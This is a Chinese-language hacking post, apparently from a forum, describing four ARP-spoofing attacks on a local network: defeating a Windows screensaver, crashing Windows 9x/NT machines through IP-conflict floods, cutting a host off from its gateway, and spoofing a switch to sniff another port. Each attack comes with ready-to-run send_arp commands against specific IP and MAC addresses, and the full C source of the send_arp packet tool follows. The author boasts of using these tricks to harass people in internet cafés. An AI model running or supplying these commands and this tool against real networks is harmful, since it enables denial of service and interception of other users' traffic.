ARP遊戲,很好玩的,以前經常用師兄的WIN版本在網吧,害人~~呵呵

 

我寫這片文章只是想讓你明白深刻理解某一協議的好處。
高手免看。
如果有人利用這片文章所做的一切事情，蓋不負責。

網上關於ARP的資料已經很多了，就不用我都說了。
用某一位高手的話來說，“我們能做的事情很多，唯一受
限制的是我們的創造力和想象力”。

ARP也是如此。

以下討論的機子有
一個要攻擊的機子：10.5.4.178              
硬件地址：52:54:4C:98:EE:2F
我的機子： :10.5.3.69 
硬件地址：52:54:4C:98:ED:C5
網關： 10.5.0.3   
硬件地址：00:90:26:3D:0C:F3
一臺交換機另一端口的機子：10.5.3.3
硬件地址：52:54:4C:98:ED:F7
  
一：用ARP破WINDOWS的屏保
原理：利用IP衝突的級別比屏保高，當有衝突時，就會
跳出屏保。
關鍵：ARP包的數量適當。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
    10.5.4.178 52:54:4C:98:EE:2F 40

二：用ARP導致IP衝突，死機
原理：WINDOWS 9X，NT4在處理IP衝突時，處理不過來，導致死機。
注：  對WINDOWS 2K，LINUX相當於flooding,只是比一般的FLOODING
      有效的多.對LINUX，明顯系統被拖慢。
[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3 /
    10.5.4.178 52:54:4C:98:EE:2F 999999999

三：用ARP欺騙網關，可導致局域網的某臺機子出不了網關。
原理：用ARP應答包去刷新對應着要使之出不去的機子。
[root@sztcww tools]# ./send_arp  10.5.4.178 52:54:4C:98:EE:22 /
    10.5.4.178 00:90:26:3D:0C:F3 1
注意：如果單單如上的命令，大概只能有效幾秒鐘，網關機子裏的ARP
高速緩存會被被攻擊的機子正確刷新，於是只要...

四：用ARP欺騙交換機，可監聽到交換機另一端的機子。
可能需要修改一下send_arp.c,構造如下的數據包。
ethhdr
 srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H
 arphdr
 hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
 s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
 d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然後就可以sniffer了。
原理:
交換機是具有記憶MAC地址功能的,它維護一張MAC地址和它的口號表
所以你可以先來個ARP 欺騙,然後就可以監聽了
不過需要指出,欺騙以後,同一個MAC地址就有兩個端口號
yuange說，“這樣其實就是一個競爭問題。”
好象ARP 以後,對整個網絡會有點影響,不過我不敢確定
既然是競爭,所以監聽也只能監聽一部分,不象同一HUB下的監聽。
對被監聽者會有影響，因爲他掉了一部分數據。

當然還有其他一些應用，需要其他技術的配合。
以下是send_arp.c的源程序

/*
This program sends out one ARP packet with source/target IP
 and Ethernet hardware addresses suuplied by the user. It 
compiles and works on Linux and will probably work on any 
Unix that has SOCK_PACKET. [email protected] 
*/ 
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>
#define ETH_HW_ADDR_LEN 6 
#define IP_ADDR_LEN 4 
#define ARP_FRAME_TYPE 0x0806 
#define ETHER_HW_TYPE 1 
#define IP_PROTO_TYPE 0x0800 
#define OP_ARP_REQUEST 2 
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0" 
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
   usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"}; 
struct arp_packet 
{ 
u_char targ_hw_addr[ETH_HW_ADDR_LEN]; 
u_char src_hw_addr[ETH_HW_ADDR_LEN]; 
u_short frame_type; 
u_short hw_type; 
u_short prot_type; 
u_char hw_addr_size; 
u_char prot_addr_size; 
u_short op; 
u_char sndr_hw_addr[ETH_HW_ADDR_LEN]; 
u_char sndr_ip_addr[IP_ADDR_LEN]; 
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN]; 
u_char rcpt_ip_addr[IP_ADDR_LEN]; 
u_char padding[18]; 
}; 
void die (char *); 
void get_ip_addr (struct in_addr *, char *); 
void get_hw_addr (char *, char *); 
int main (int argc, char * argv[]) 
{ 
struct in_addr src_in_addr, targ_in_addr; 
struct arp_packet pkt; 
struct sockaddr sa; 
int sock; 
int j,number;
if (argc != 6) 
die(usage); 
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP)); 
if (sock < 0) 
{ 
perror("socket"); 
exit(1); 
} 
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE); 
pkt.hw_type = htons(ETHER_HW_TYPE); 
pkt.prot_type = htons(IP_PROTO_TYPE); 
pkt.hw_addr_size = ETH_HW_ADDR_LEN; 
pkt.prot_addr_size = IP_ADDR_LEN; 
pkt.op = htons(OP_ARP_QUEST); 
get_hw_addr(pkt.targ_hw_addr, argv[4]); 
get_hw_addr(pkt.rcpt_hw_addr, argv[4]); 
get_hw_addr(pkt.src_hw_addr, argv[2]); 
get_hw_addr(pkt.sndr_hw_addr, argv[2]); 
get_ip_addr(&src_in_addr, argv[1]); 
get_ip_addr(&targ_in_addr, argv[3]); 
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN); 
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN); 
bzero(pkt.padding,18); 
strcpy(sa.sa_data,DEFAULT_DEVICE); 
for (j=0;j<number;j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0) 
{ 
perror("sendto"); 
exit(1); 
}  
}
exit(0); 
} 
void die (char *str) 
{ 
fprintf(stderr,"%s/n",str); 
exit(1); 
} 
void get_ip_addr (struct in_addr *in_addr, char *str) 
{ 
struct hostent *hostp; 
in_addr->s_addr = inet_addr(str); 
if(in_addr->s_addr == -1)
{ 
if ((hostp = gethostbyname(str))) 
bcopy(hostp->h_addr, in_addr, hostp->h_length); 
else { 
fprintf(stderr, "send_arp: unknown host %s/n", str); 
exit(1); 
     } 
} 
} 
void get_hw_addr (char *buf, char *str) 
{ 
int i; 
char c, val; 
for(i = 0; i < ETH_HW_ADDR_LEN; i++) 
{ 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf = val << 4; 
if (!(c = tolower(*str++))) 
die("Invalid hardware address"); 
if (isdigit(c)) 
val = c - '0'; 
else if (c >= 'a' && c <= 'f') 
val = c-'a'+10; 
     else 
die("Invalid hardware address"); 
*buf++ |= val; 
if (*str == ':') 
str++; 
} 
}